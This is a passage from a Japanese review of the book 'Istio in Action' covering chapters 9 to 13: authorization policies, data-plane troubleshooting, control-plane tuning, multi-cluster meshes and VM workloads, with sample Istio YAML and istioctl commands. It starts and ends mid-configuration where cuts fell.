jwks: | { \\"keys\\": [{\\"e\\":\\"AQAB\\",\\"kid\\":\\"##REDACTED##\\", \\"kty\\":\\"RSA\\",\\"n\\":\\"##REDACTED##\\"}]}この設定により、指定されたアプリケーションへのリクエストにJWTが要求されます。著者は、この設定の影響を実際のリクエストフローを用いて説明しており、非常に分かりやすい解説でした。特に印象的だったのは、著者がJWTの検証だけでなく、JWT claimsを使用した細かな認可制御についても言及している点です。これにより、ユーザーの役割や権限に基づいた詳細なアクセス制御が可能になります。認可ポリシー著者は、Istioの認可ポリシー機能について詳細に解説しています。この機能により、サービス間やエンドユーザーのアクセス制御を非常に細かいレベルで設定できます。Figure 9.9 Authorization reduces the attack scope to only what the stolen identity was authorized to access. より引用この図は、認可ポリシーがどのようにしてセキュリティインシデントの影響範囲を限定するかを示しています。適切な認可ポリシーを設定することで、アイデンティティが盗まれた場合でも、アクセス可能な範囲を最小限に抑えることができます。これは、最小権限の原則を実践する上で非常に重要な機能です。Istioでは、AuthorizationPolicyリソースを使用して認可ポリシーを設定します。例えば:apiVersion: \\"security.istio.io/v1beta1\\"kind: \\"AuthorizationPolicy\\"metadata: name: \\"allow-mesh-all-ops-admin\\" namespace: istio-systemspec: rules: - from: - source: requestPrincipals: [\\"auth@istioinaction.io/*\\"] when: - key: request.auth.claims[group] values: [\\"admin\\"]この設定により、特定の発行者(\\"auth@istioinaction.io\\")からのJWTを持ち、\\"admin\\"グループに属するユーザーのみがアクセスを許可されます。著者は、この機能の柔軟性と強力さを強調しており、特に印象的でした。例えば、特定のパスへのアクセス、特定のHTTPメソッドの使用、特定のヘッダーの存在など、非常に詳細な条件に基づいてアクセスを制御できます。SREの観点からは、この細かな制御は非常に重要です。最小権限の原則に基づいてアクセスを制限することで、セキュリティインシデントの影響範囲を最小限に抑えることができます。外部認可サービスとの統合著者は、Istioの外部認可サービス統合機能についても解説しています。この機能により、より複雑な認可ロジックや、既存の認可システムとの統合が可能になります。Figure 9.13 Using CUSTOM policies to get requests authorized by an external server より引用この図は、Istioが外部の認可サーバーを使用してリクエストを認可する方法を示しています。サービスプロキシに入ってくるリクエストは、外部認可(ExtAuthz)サービスへの呼び出しを行う間、一時停止します。この ExtAuthz サービスはメッシュ内、アプリケーションのサイドカーとして、あるいはメッシュの外部に存在する可能性があります。これにより、組織固有の複雑な認可ロジックを実装することが可能になります。例えば、以下のようなAuthorizationPolicyを使用して外部認可サービスを設定できます:apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: ext-authz namespace: istioinactionspec: selector: matchLabels: app: webapp action: CUSTOM provider: name: sample-ext-authz-http rules: - to: - operation: paths: [\\"/\\"]この設定により、指定されたパスへのリクエストは外部の認可サービスによって評価されます。著者は、この機能の柔軟性と強力さを強調しており、特に印象的でした。例えば、複雑なビジネスロジックに基づく認可や、既存の認証システムとの統合など、Istioの標準機能では難しい要件にも対応できます。しかし、著者は同時に、外部認可サービスの使用にはパフォーマンスのトレードオフがあることも指摘しています。外部サービスへの呼び出しは追加のレイテンシを引き起こす可能性があるため、慎重な設計と最適化が必要です。実践的な応用と提案Istioのセキュリティ機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略の策定: アンビエントメッシュの特性を活かし、既存のサイドカーベースの導入から段階的に移行する計画を立てます。これにより、リスクを最小限に抑えつつ、新しいアーキテクチャの利点を享受できます。ゼロトラスト原則の適用: Istioの細かな認証・認可機能を活用し、全てのサービス間通信に対して「信頼しない」デフォルトポリシーを適用します。必要な通信のみを明示的に許可するアプローチを採用します。動的ポリシー管理の実装: セキュリティポリシーの動的更新機能を活用し、CI/CDパイプラインにセキュリティポリシーの更新プロセスを組み込みます。これにより、アプリケーションの変更に合わせてセキュリティ設定を自動的に更新できます。統合監視・ログ分析の強化: Istioの高度な可観測性機能を活用し、セキュリティイベントの統合監視とログ分析システムを構築します。これにより、セキュリティインシデントの早期検出と迅速な対応が可能になります。定期的なセキュリティ評価の実施: Istioの設定とセキュリティポリシーを定期的に評価し、最新のベストプラクティスや脅威情報に基づいて最適化します。自動化されたセキュリティテストをCI/CDプロセスに組み込むことも検討します。クロスファンクショナルなセキュリティチームの編成: 開発者、運用者、セキュリティ専門家で構成されるクロスファンクショナルなチームを編成し、Istioのセキュリティ機能の設計、実装、運用を協力して行います。これにより、セキュリティを開発ライフサイクルの早い段階から考慮に入れることができます。外部認証サービスのパフォーマンス最適化: 外部認証サービスを使用する場合は、キャッシング戦略の導入や、認証サービスのスケーリングを適切に行い、パフォーマンスへの影響を最小限に抑えます。継続的な学習と能力開発: Istioの進化に合わせて、チームのスキルセットを継続的に更新します。Istioのコミュニティイベントへの参加や、社内トレーニングの実施を検討します。これらの提案を実践することで、Istioのセキュリティ機能を最大限に活用し、より安全で管理しやすいマイクロサービス環境を構築することができるでしょう。まとめ「Istio in Action」の第9章は、Istioのセキュリティ機能について包括的かつ実践的な解説を提供しています。著者は、サービス間認証(mTLS)、エンドユーザー認証(JWT)、細かな認可ポリシーの設定、外部認可サービスとの統合など、現代のマイクロサービスアーキテクチャに不可欠なセキュリティ機能を詳細に説明しています。2024年現在の技術動向と比較すると、Istioのセキュリティ機能はさらに進化し、より柔軟で強力になっています。特に、アンビエントメッシュの導入やゼロトラストアーキテクチャのサポート強化は、大規模環境でのセキュリティ管理を大幅に改善しています。Istioは複雑なマイクロサービス環境におけるセキュリティ課題に対する強力なソリューションを提供しています。しかし、その効果的な活用には、継続的な学習と、組織全体でのセキュリティ文化の醸成が不可欠です。Istioのセキュリティ機能は、マイクロサービスアーキテクチャにおけるセキュリティの複雑さを大幅に軽減し、一貫したセキュリティポリシーの適用を可能にします。しかし、同時に著者が強調しているように、これらの機能を効果的に活用するためには、適切な計画と継続的な管理が必要です。最後に、この章から得られる重要な教訓は、セキュリティは単なる技術的な課題ではなく、システム設計、運用プラクティス、そして組織文化全体に関わる問題だということです。Istioは強力なツールを提供しますが、それを効果的に活用するためには、継続的な学習、実験、そして最適化が不可欠です。今後も進化し続けるIstioとともに、セキュリティもまた進化し続ける必要があるのです。Part 3 Istio day-2 operations10 Troubleshooting the data plane「Istio in Action」の第10章「Troubleshooting the data plane」は、Istioのデータプレーンに関するトラブルシューティングについて詳細に解説しています。この章は、実際の運用環境でIstioを使用する際に直面する可能性のある問題に焦点を当て、それらを効果的に診断し解決するための方法を提供しています。Figure 10.1 Components that participate in routing a request より引用特に印象に残ったのは、著者が繰り返し強調している「プロアクティブなトラブルシューティング」の重要性です。著者は、「デバッグのためのデータプレーンの準備は、実際に問題が発生する前に行うべきだ」と述べています。この言葉は、SREの原則である「事後対応よりも予防」を端的に表現しており、Istioの運用におけるベストプラクティスを示唆しています。技術的詳細と実践的応用データプレーンの同期状態の確認著者は、Istioのデータプレーンのトラブルシューティングを始める前に、まずデータプレーンが最新の設定と同期しているかを確認することの重要性を強調しています。これには、istioctl proxy-statusコマンドが使用されます。$ istioctl proxy-statusNAME CDS LDS EDS RDS ISTIOD VERSIONcatalog-68666d4988-q6w42.istioinaction SYNCED SYNCED SYNCED SYNCED istiod-1... 1.22.0このコマンドの出力は、各Envoyプロキシが最新の設定(CDS, LDS, EDS, RDS)と同期しているかを示します。SYNCED状態は正常であり、NOT SENTやSTALEは潜在的な問題を示唆します。著者は、この同期状態の確認が重要である理由を次のように説明しています:データプレーンの設定は最終的に一貫性のあるものですが、即時に反映されるわけではありません。環境の変化(サービス、エンドポイント、ヘルスステータスの変更)や設定の変更は、データプレーンに即座に反映されるわけではありません。大規模なクラスターでは、同期に要する時間がワークロードとイベントの数に比例して増加します。Figure 10.3 Series of events until the configuration of a data-plane component is updated after a workload becomes unhealthy より引用Figure 10.3は、ワークロードが不健全になってからデータプレーンコンポーネントの設定が更新されるまでの一連のイベントを示しています。この図は、設定の同期プロセスの複雑さを視覚的に表現しており、同期状態の確認が重要である理由を理解する上で非常に有用です。SREの視点から、この同期状態の確認は非常に重要です。設定の不整合は予期せぬ動作やエラーの原因となる可能性があるため、定期的な確認とモニタリングを自動化することをおすすめします。Kialiを使用した設定の検証著者は、Kialiを使用してIstioの設定を視覚的に検証する方法を紹介しています。Kialiは、サービスメッシュの状態を可視化し、潜在的な問題を特定するのに役立ちます。$ istioctl dashboard kialihttp://localhost:20001/kialiこのコマンドでKialiダッシュボードにアクセスできます。Kialiの使用は、特に大規模なマイクロサービス環境で非常に有効です。視覚的な表現により、複雑な依存関係やトラフィックパターンを素早く把握でき、問題の早期発見に役立ちます。Envoy設定の詳細分析著者は、Envoyプロキシの設定を詳細に分析する方法について深く掘り下げています。istioctl proxy-configコマンドを使用して、特定のプロキシの設定を検査できます。例えば、特定のサービスのリスナー設定を確認するには:$ istioctl proxy-config listeners deploy/istio-ingressgateway -n istio-systemADDRESS PORT MATCH DESTINATION0.0.0.0 8080 ALL Route: http.80800.0.0.0 15021 ALL Inline Route: /healthz/ready*0.0.0.0 15090 ALL Inline Route: /stats/prometheus*このコマンドは、指定されたデプロイメントのEnvoyプロキシに設定されているリスナーを表示します。著者は、この出力を詳細に解説し、各リスナーの役割と重要性を説明しています。さらに、ルート設定を確認するには:$ istioctl pc routes deploy/istio-ingressgateway -n istio-system --name http.8080 -o json著者は、このコマンドの出力を詳細に解説し、ルーティングの設定がどのように行われているかを説明しています。特に、重み付けされたクラスターの設定や、マッチングルールの詳細について触れています。これらのコマンドを使いこなすことで、トラフィックの流れを詳細に理解し、ルーティングの問題を特定することができます。SREとして、これらのツールを使用して定期的に設定を監査し、意図しない変更や設定ミスを検出することが重要です。アクセスログの活用著者は、Envoyプロキシのアクセスログの重要性と、それを効果的に活用する方法について詳しく説明しています。アクセスログは、リクエストの詳細な情報を提供し、トラブルシューティングに不可欠です。著者は、デフォルトのTEXTフォーマットのログが簡潔であるが理解しにくいことを指摘し、JSONフォーマットへの変更を推奨しています。以下は、JSONフォーマットに変更する方法です:$ istioctl install --set profile=demo \\\\ --set meshConfig.accessLogEncoding=\\"JSON\\"JSONフォーマットのログの例:{ \\"user_agent\\":\\"curl/7.64.1\\", \\"Response_code\\":\\"504\\", \\"response_flags\\":\\"UT\\", \\"start_time\\":\\"2020-08-22T16:35:27.125Z\\", \\"method\\":\\"GET\\", \\"request_id\\":\\"e65a3ea0-60dd-9f9c-8ef5-42611138ba07\\", \\"upstream_host\\":\\"10.1.0.68:3000\\", \\"x_forwarded_for\\":\\"192.168.65.3\\", \\"requested_server_name\\":\\"-\\", \\"bytes_received\\":\\"0\\", \\"istio_policy_status\\":\\"-\\", \\"bytes_sent\\":\\"24\\", \\"upstream_cluster\\": \\"outbound|80|version-v2|catalog.istioinaction.svc.cluster.local\\", \\"downstream_remote_address\\":\\"192.168.65.3:41260\\", \\"authority\\":\\"catalog.istioinaction.io\\", \\"path\\":\\"/items\\", \\"protocol\\":\\"HTTP/1.1\\", \\"upstream_service_time\\":\\"-\\", \\"upstream_local_address\\":\\"10.1.0.69:48016\\", \\"duration\\":\\"503\\", \\"upstream_transport_failure_reason\\":\\"-\\", \\"route_name\\":\\"-\\", \\"downstream_local_address\\":\\"10.1.0.69:8080\\"}著者は、このJSONフォーマットのログの各フィールドの意味を詳細に解説しています。特に、response_flagsフィールドの重要性を強調しており、このフィールドが接続の失敗に関する詳細情報を提供することを説明しています。SREの観点からは、このようなカスタマイズされたログ設定は非常に有用です。特定の条件に基づいてログをフィルタリングすることで、問題の迅速な特定と分析が可能になります。また、ログの集中管理と分析のために、ElasticsearchやSplunkなどのログ管理システムとの統合も検討すべきです。まとめ「Istio in Action」の第10章は、Istioのデータプレーンのトラブルシューティングに関する包括的かつ実践的なガイドを提供しています。著者は、プロアクティブなアプローチの重要性を強調し、問題が発生する前に潜在的な課題を特定し対処することの価値を説いています。この章では、istioctl、Kiali、Envoyの管理インターフェースなど、Istioが提供する豊富なツールセットの効果的な活用方法が詳細に解説されています。これらのツールを適切に使用することで、複雑なマイクロサービス環境での問題診断と解決が大幅に効率化されることが示されています。特に印象的なのは、著者がデータプレーンの同期状態の確認、Envoy設定の詳細分析、アクセスログの活用など、実践的なテクニックを具体的に示している点です。これらの手法は、実際の運用環境で即座に適用可能で、大きな価値があります。著者は、効果的なトラブルシューティングには単なる技術的スキルだけでなく、システム全体を理解し、プロアクティブに問題解決に取り組む姿勢が重要であることを強調しています。この観点は、特に複雑化するマイクロサービス環境において非常に重要です。2024年現在、IstioはアンビエントメッシュやWebAssemblyの進化など、さらなる発展を遂げています。これらの新技術は、トラブルシューティングの手法にも影響を与えており、より効率的で柔軟なアプローチが可能になっています。結論として、この章はIstioのデータプレーンのトラブルシューティングを単なる技術的タスクではなく、継続的な改善プロセスとして捉えることの重要性を示しています。効果的なトラブルシューティング文化を醸成し、チーム全体でスキルとナレッジを共有することが、長期的な運用の成功につながるのです。この章で学んだテクニックと原則を適用し、継続的に改善していくことで、より安定性の高い、レジリエントなシステムを構築・運用することができるでしょう。11 Performance-tuning the control plane「Istio in Action」の第11章は、Istioのコントロールプレーンのパフォーマンス最適化に焦点を当てています。著者は、コントロールプレーンがサービスプロキシを設定する方法、このプロセスを遅くする要因、監視方法、そしてパフォーマンスを向上させるための調整ポイントを詳細に解説しています。特に印象に残ったのは、著者が繰り返し強調している「プロアクティブなパフォーマンス管理」の重要性です。著者は、「デバッグのためのデータプレーンの準備は、実際に問題が発生する前に行うべきだ」と述べています。この考え方は、SREの原則である「事後対応よりも予防」を端的に表現しており、Istioの運用におけるベストプラクティスを示唆しています。技術的詳細と実践的応用コントロールプレーンの目標著者は、コントロールプレーンの主要な目標を「データプレーンを望ましい状態に同期させ続けること」と定義しています。この同期プロセスが適時に行われないと、ファントムワークロードという現象が発生する可能性があります。これは、既に存在しないエンドポイントにトラフィックがルーティングされ、結果としてリクエストが失敗する状況を指します。Figure 11.1 Routing traffic to phantom workloads due to an outdated configuration より引用この図は、ワークロードの状態変化、設定更新の遅延、そして古い設定に基づくトラフィックルーティングの問題を明確に示しています。SREの観点からは、この問題は特に重要です。システムの一貫性と信頼性を維持するために、コントロールプレーンのパフォーマンスを常に監視し、最適化する必要があります。パフォーマンスに影響を与える要因著者は、コントロールプレーンのパフォーマンスに影響を与える主な要因を以下のように特定しています:変更の頻度: 環境の変更が頻繁に発生すると、データプレーンの同期に必要な処理が増加します。割り当てられたリソース: istiodに割り当てられたリソースが需要に対して不足すると、更新の配布が遅くなります。管理対象ワークロードの数: 更新を配布するワークロードが多いほど、より多くの処理能力とネットワーク帯域幅が必要になります。設定のサイズ: より大きなEnvoy設定の配布には、より多くの処理能力とネットワーク帯域幅が必要です。Figure 11.3 The properties that affect control-plane performance より引用この図はこれらの要因を視覚的に表現しています。この図は、コントロールプレーンのパフォーマンスに影響を与える各要素の関係を明確に示しており、パフォーマンス最適化の戦略を立てる上で非常に有用です。パフォーマンスモニタリング著者は、Grafanaダッシュボードを使用してIstioのコントロールプレーンのパフォーマンスを監視する方法を詳細に解説しています。特に、4つのゴールデンシグナル(レイテンシ、飽和度、エラー、トラフィック)に基づいたモニタリングアプローチを推奨しています。例えば、レイテンシを測定するための主要なメトリクスとしてpilot_proxy_convergence_timeが挙げられています。このメトリクスは、プロキシプッシュリクエストがキューに入ってから、ワークロードに配布されるまでの全プロセスの所要時間を測定します。apiVersion: telemetry.istio.io/v1alpha1kind: Telemetrymetadata: name: custom-metrics namespace: istio-systemspec: metrics: - providers: - name: prometheus overrides: - match: metric: PILOT_PROXY_CONVERGENCE_TIME tagOverrides: response_code: value: \\"response.code\\"この設定例は、Istio 1.22(2024年8月現在の最新版)に合わせて更新されています。これにより、pilot_proxy_convergence_timeメトリクスをカスタマイズし、より詳細な分析が可能になります。SREとして、これらのメトリクスを継続的に監視し、異常を早期に検出することが重要です。例えば、pilot_proxy_convergence_timeが突然増加した場合、コントロールプレーンの設定更新プロセスに問題が発生している可能性があり、即時の調査が必要です。パフォーマンス最適化技術著者は、コントロールプレーンのパフォーマンスを最適化するための複数の技術を紹介しています:Sidecarリソースの使用: 著者は、Sidecarリソースを使用してワークロードのイングレスとイグレストラフィックを細かく制御することの重要性を強調しています。これにより、各ワークロードに送信される設定のサイズを大幅に削減できます。apiVersion: networking.istio.io/v1beta1kind: Sidecarmetadata: name: default namespace: istio-systemspec: egress: - hosts: - \\"istio-system/*\\" - \\"prometheus/*\\" outboundTrafficPolicy: mode: REGISTRY_ONLYこの設定例は、メッシュ全体のデフォルトSidecar設定を定義しています。これにより、各サービスプロキシの設定サイズが大幅に削減され、コントロールプレーンの負荷が軽減されます。イベントのバッチ処理: 著者は、PILOT_DEBOUNCE_AFTERとPILOT_DEBOUNCE_MAX環境変数を使用してイベントのバッチ処理を最適化する方法を説明しています。これにより、頻繁な更新による負荷を軽減できます。リソースの割り当て: コントロールプレーンのスケールアウトとスケールアップの戦略について詳細に解説されています。著者は、出力トラフィックがボトルネックの場合はスケールアウト、入力トラフィックがボトルネックの場合はスケールアップを推奨しています。istioctl install --set profile=demo \\\\ --set values.pilot.resources.requests.cpu=2 \\\\ --set values.pilot.resources.requests.memory=4Gi \\\\ --set values.pilot.replicaCount=3この設定例は、istiodのリソース要求とレプリカ数を増やしています。これにより、コントロールプレーンの処理能力と冗長性が向上します。実践的な応用と提案Istioのコントロールプレーンのパフォーマンスを最適化するために、以下の実践的な提案を考えてみましょう:継続的なモニタリングの実装: Prometheusとgrafanaを使用して、コントロールプレーンの主要メトリクス(pilot_proxy_convergence_time、pilot_xds_pushesなど)を継続的に監視します。異常値の検出時に自動アラートを設定することで、問題の早期発見と対応が可能になります。段階的なSidecar設定の導入: まず、メッシュ全体のデフォルトSidecar設定を導入し、その後各サービスに特化したSidecar設定を段階的に実装します。これにより、設定サイズと更新頻度を大幅に削減できます。イベントバッチ処理の最適化: 環境変数PILOT_DEBOUNCE_AFTERとPILOT_DEBOUNCE_MAXを調整し、イベントのバッチ処理を最適化します。ただし、過度の遅延を避けるため、慎重に調整する必要があります。リソース割り当ての定期的な見直し: コントロールプレーンのCPUとメモリ使用率を定期的に確認し、必要に応じてリソースを調整します。特に、クラスターの成長に合わせて、istiodのレプリカ数を適切に増やすことが重要です。パフォーマンステストの自動化: 定期的にパフォーマンステストを実行し、設定変更やクラスターの成長がコントロールプレーンのパフォーマンスに与える影響を評価します。これにより、プロアクティブな最適化が可能になります。アンビエントメッシュの検討: 大規模環境では、アンビエントメッシュの採用を検討します。これにより、コントロールプレーンの負荷を大幅に軽減し、より効率的なリソース利用が可能になります。まとめ「Istio in Action」の第11章は、Istioのコントロールプレーンのパフォーマンス最適化について包括的かつ実践的な洞察を提供しています。著者は、パフォーマンスに影響を与える要因を明確に特定し、それぞれに対する最適化戦略を提示しています。特に印象的だったのは、著者がパフォーマンス最適化を単なる技術的な問題ではなく、システム設計と運用プラクティス全体に関わる課題として捉えている点です。Sidecarリソースの適切な使用、イベントのバッチ処理、リソース割り当ての最適化など、提案された戦略は、いずれも実際の運用環境で即座に適用可能で大きな価値があります。SREの観点からは、この章で提示されたモニタリングアプローチと最適化技術は非常に重要です。4つのゴールデンシグナルに基づいたモニタリング、継続的なパフォーマンス測定、そして段階的な最適化アプローチは、大規模なマイクロサービス環境での安定性と効率性を維持する上で不可欠です。2024年現在の技術動向を踏まえると、本章で説明されている原則は依然として有効ですが、アンビエントメッシュやWaypoint Proxyなどの新技術により、さらに効率的なパフォーマンス最適化が可能になっています。これらの新技術を適切に活用することで、より大規模で複雑な環境でもIstioを効果的に運用できるようになっています。Part 4 Istio in your organization12 Scaling Istio in your organization「Istio in Action」の第12章は、Istioを組織内で大規模に展開する方法に焦点を当てています。著者は、マルチクラスター環境でのIstioの導入、クラスター間の通信の確立、そしてサービスメッシュの拡張について詳細に解説しています。特に印象に残ったのは、著者が繰り返し強調している「メッシュの価値は、より多くのワークロードがそれに参加するほど増加する」という考え方です。この言葉は、Istioの導入を単なる技術的な課題ではなく、組織全体のアーキテクチャ戦略として捉える重要性を示唆しています。マルチクラスターサービスメッシュの利点著者は、マルチクラスターサービスメッシュの主な利点を以下のように説明しています:改善された分離: チーム間の影響を最小限に抑える障害の境界: クラスター全体に影響を与える可能性のある設定や操作の範囲を制限する規制とコンプライアンス: センシティブなデータにアクセスするサービスを他のアーキテクチャ部分から制限する可用性とパフォーマンスの向上: 異なる地域でクラスターを実行し、最も近いクラスターにトラフィックをルーティングするマルチクラウドとハイブリッドクラウド: 異なる環境でワークロードを実行する能力これらの利点は、現代の複雑な分散システム環境において非常に重要です。特に、SREの観点からは、可用性の向上と障害の局所化は、システムの信頼性を大幅に向上させる可能性があります。Figure 12.1 A multi-cluster service mesh requires cross-cluster discovery, connectivity, and common trust. より引用この図は、クラスター間の発見、接続性、共通信頼の重要性を視覚的に表現しており、マルチクラスター環境の複雑さを理解する上で非常に有用です。技術的詳細と実践的応用マルチクラスター導入モデル著者は、Istioのマルチクラスター導入モデルを3つに分類しています:プライマリ-リモート(共有コントロールプレーン)Figure 12.2 Primary-remote deployment model より引用プライマリ-プライマリ(複製されたコントロールプレーン)Figure 12.3 Primary-primary deployment model より引用外部コントロールプレーンFigure 12.4 The external control plane deployment model より引用これらのモデルの中で、著者は特にプライマリ-プライマリモデルに焦点を当てています。このモデルでは、各クラスターに独自のIstioコントロールプレーンが存在し、高可用性を実現しています。クラスター間のワークロード発見著者は、クラスター間でのワークロード発見のメカニズムを詳細に説明しています。特に興味深いのは、Kubernetes APIサーバーへのアクセスを制御するためのRBACの使用です。apiVersion: v1kind: Secretmetadata: name: istio-remote-secret-east-cluster namespace: istio-systemstringData: east-cluster: | apiVersion: v1 kind: Config clusters: - cluster: certificate-authority-data: server: https://east-cluster-api-server:443 name: east-cluster users: - name: east-cluster user: token: contexts: - context: cluster: east-cluster user: east-cluster name: east-cluster current-context: east-clusterこのサンプルコードは、リモートクラスターへのアクセスを設定するためのシークレットを示しています。これは、Istio 1.22(2024年8月現在の最新版)でも同様に使用されています。このアプローチにより、クラスター間で安全にワークロードを発見し、通信を確立することができます。クラスター間の接続性著者は、クラスター間の接続性を確立するためのイースト-ウェストゲートウェイの概念を導入しています。これは、異なるネットワーク間でトラフィックをルーティングするための特別なIngressゲートウェイです。apiVersion: install.istio.io/v1alpha1kind: IstioOperatormetadata: name: istio-eastwestgateway namespace: istio-systemspec: profile: empty components: ingressGateways: - name: istio-eastwestgateway label: istio: eastwestgateway enabled: true k8s: env: - name: ISTIO_META_ROUTER_MODE value: \\"sni-dnat\\"このサンプルコードは、イースト-ウェストゲートウェイの設定を示しています。ISTIO_META_ROUTER_MODEをsni-dnatに設定することで、SNIベースのルーティングが有効になり、クラスター間のトラフィックを効率的に管理できます。クラスター間の認証と認可著者は、クラスター間の通信を保護するための相互TLS(mTLS)の使用と、クラスター間での認可ポリシーの適用について詳細に説明しています。apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: allow-only-ingress namespace: istioinactionspec: action: ALLOW rules: - from: - source: principals: [\\"cluster.local/ns/istio-system/sa/istio-ingressgateway-service-account\\"]このサンプルコードは、特定のソース(この場合はIngressゲートウェイ)からのトラフィックのみを許可する認可ポリシーを示しています。これにより、クラスター間でのセキュアな通信が可能になります。実践的な応用と提案Istioのマルチクラスター機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略: まず小規模なプロジェクトでマルチクラスター設定を試験的に導入し、徐々に範囲を拡大していくことをおすすめします。これにより、チームはマルチクラスター環境の複雑さに慣れることができ、潜在的な問題を早期に特定できます。ネットワークトポロジーの最適化: クラスター間のレイテンシーを最小限に抑えるため、地理的に分散したクラスターの配置を慎重に計画します。例えば、主要な顧客基盤に近い場所にクラスターを配置することで、全体的なパフォーマンスを向上させることができます。セキュリティポリシーの統一: マルチクラスター環境全体で一貫したセキュリティポリシーを実装します。これには、共通のmTLS設定、統一された認可ポリシー、そしてクラスター間での証明書管理の調和が含まれます。観測可能性の強化: Istioの観測可能性機能を活用し、クラスター間のトラフィックフローを包括的に可視化します。Grafana、Jaeger、Kialiなどのツールを統合し、マルチクラスター環境全体のパフォーマンスと健全性を監視します。災害復旧計画の策定: マルチクラスター環境の利点を活かし、強固な災害復旧計画を策定します。これには、クラスター間でのトラフィックの動的な再ルーティング、データの地理的レプリケーション、そして自動フェイルオーバーメカニズムの実装が含まれます。継続的な学習と最適化: マルチクラスター環境は複雑であり、常に進化しています。定期的な性能評価、セキュリティ監査、そして新しいIstioの機能やベストプラクティスの採用を通じて、環境を継続的に最適化します。まとめ「Istio in Action」の第12章は、Istioを用いたマルチクラスターサービスメッシュの実装について包括的かつ実践的な洞察を提供しています。著者は、マルチクラスター環境の利点、技術的な課題、そして具体的な実装方法を詳細に解説しており、読者に豊富な知識と実践的なガイダンスを提供しています。特に印象的だったのは、著者がマルチクラスター環境を単なる技術的な課題ではなく、組織全体のアーキテクチャ戦略として捉えている点です。改善された分離、障害の局所化、規制対応、そして地理的な可用性の向上など、マルチクラスターアプローチの多岐にわたる利点は、現代の複雑なマイクロサービス環境において非常に価値があります。SREの観点からは、この章で提示されたマルチクラスター戦略は、システムの信頼性、可用性、そしてスケーラビリティを大幅に向上させる可能性を秘めています。特に、地理的に分散したクラスター間でのトラフィック管理、セキュリティポリシーの統一的な適用、そして包括的な観測可能性の実現は、大規模で複雑な分散システムの運用を大幅に簡素化します。2024年現在の技術動向を踏まえると、本章で説明されている原則は依然として有効ですが、アンビエントメッシュやKubernetes Gateway APIのサポートなど、新しい機能によりさらに強化されています。これらの新技術は、マルチクラスター環境でのIstioの採用をより容易にし、より効率的な運用を可能にしています。最後に、この章から得られる重要な教訓は、マルチクラスターサービスメッシュの実装は技術的な課題であると同時に、組織的な課題でもあるということです。成功のためには、技術チーム間の緊密な協力、明確なガバナンスモデル、そして継続的な学習と最適化が不可欠です。13 Incorporating virtual machine workloads into the mesh「Istio in Action」の第13章は、Istioのサービスメッシュに仮想マシン(VM)ワークロードを統合する方法について詳細に解説しています。この章は、Kubernetes環境だけでなく、レガシーなVMベースのワークロードも含めた包括的なサービスメッシュの構築方法を提供しており、多くの組織が直面する現実的な課題に対するソリューションを示しています。著者は、VMワークロードをIstioメッシュに統合する必要性を明確に説明しています。特に印象に残ったのは、以下の点です:レガシーワークロードの重要性: 著者は、多くの組織が完全にKubernetesに移行できない理由を説明しています。規制要件、アプリケーションの複雑さ、VMに特有の依存関係などが挙げられており、これは現実のエンタープライズ環境を反映しています。段階的な近代化: 著者は、VMワークロードをメッシュに統合することで、段階的な近代化が可能になると主張しています。これは、全てを一度に変更するリスクを軽減し、安全かつ効率的な移行を可能にします。統一されたセキュリティとオブザーバビリティ: VMワークロードをメッシュに統合することで、Kubernetes上のワークロードと同じセキュリティポリシーと観測可能性を適用できる点が強調されています。これは、一貫したセキュリティ体制の維持と、システム全体の可視性の確保に非常に重要です。Figure 13.1 What it takes for a workload to become part of the mesh より引用この図は、モノリシックなアプリケーション(ACMEmono)からマイクロサービスへの移行過程を示しています。VMで動作するレガシーコンポーネントと、Kubernetes上の新しいマイクロサービスが共存している様子がわかります。この構造は、多くの組織が直面している現実的な移行シナリオを端的に表現しています。技術的詳細と実践的応用Istioの最新VMサポート機能著者は、Istioの最新のVMサポート機能について詳細に解説しています。特に注目すべき点は以下の通りです:WorkloadGroup: VMワークロードのグループを定義するためのリソース。これにより、VMインスタンスの共通プロパティを定義し、高可用性を実現できます。WorkloadEntry: 個々のVMワークロードを表すリソース。これにより、VMをKubernetesのPodと同様に扱うことができます。istio-agent: VMにインストールされるIstioのコンポーネント。これにより、VMがメッシュの一部として機能し、トラフィックの管理、セキュリティ、観測可能性の機能を利用できるようになります。以下は、WorkloadGroupの例です(Istio 1.22現在):apiVersion: networking.istio.io/v1alpha3kind: WorkloadGroupmetadata: name: product-catalog-vm namespace: ecommercespec: metadata: labels: app: product-catalog version: v1 template: serviceAccount: product-catalog-sa network: vm-network probe: periodSeconds: 5 initialDelaySeconds: 10 httpGet: port: 8080 path: /healthzこの設定により、product-catalogアプリケーションのVMワークロードグループが定義されます。ラベル、サービスアカウント、ネットワーク設定、そしてヘルスチェックの設定が含まれており、これらはKubernetesのDeploymentリソースに類似しています。VMワークロードの統合プロセス著者は、VMワークロードをIstioメッシュに統合するプロセスを段階的に説明しています。主要なステップは以下の通りです:istio-agentのインストール: VMにistio-agentをインストールし、必要な設定を行います。ワークロードIDのプロビジョニング: VMワークロードに適切なIDを割り当てます。これは、メッシュ内での認証と認可に使用されます。DNS解決の設定: クラスター内のサービスを解決するために、DNSプロキシを設定します。トラフィックのキャプチャ: iptablesルールを使用して、VMからのトラフィックをIstioプロキシにリダイレクトします。特に印象的だったのは、著者がこのプロセスの自動化の重要性を強調している点です。大規模な環境では、手動でこれらのステップを実行することは現実的ではありません。Figure 13.9 Virtual machine integration in the service mesh より引用この図は、VMがどのようにしてIstioメッシュに統合されるかを視覚的に示しています。VMにistio-agentがインストールされ、East-Westゲートウェイを介してクラスター内のサービスと通信している様子がわかります。セキュリティと観測可能性著者は、VMワークロードをメッシュに統合することで得られるセキュリティと観測可能性の利点について詳しく説明しています。特に注目すべき点は以下の通りです:相互TLS(mTLS): VMワークロードとKubernetesワークロードの間で自動的にmTLSが設定され、通信が暗号化されます。統一されたアクセス制御: AuthorizationPolicyリソースを使用して、VMワークロードに対しても細かなアクセス制御が可能になります。分散トレーシング: Jaegerなどのツールを使用して、VMワークロードを含むエンドツーエンドのトレースが可能になります。メトリクス収集: PrometheusがVMワークロードのメトリクスも収集できるようになり、統一されたモニタリングが可能になります。以下は、VMワークロードに対するAuthorizationPolicyの例です(Istio 1.22現在):apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: product-catalog-policy namespace: ecommercespec: selector: matchLabels: app: product-catalog action: ALLOW rules: - from: - source: principals: 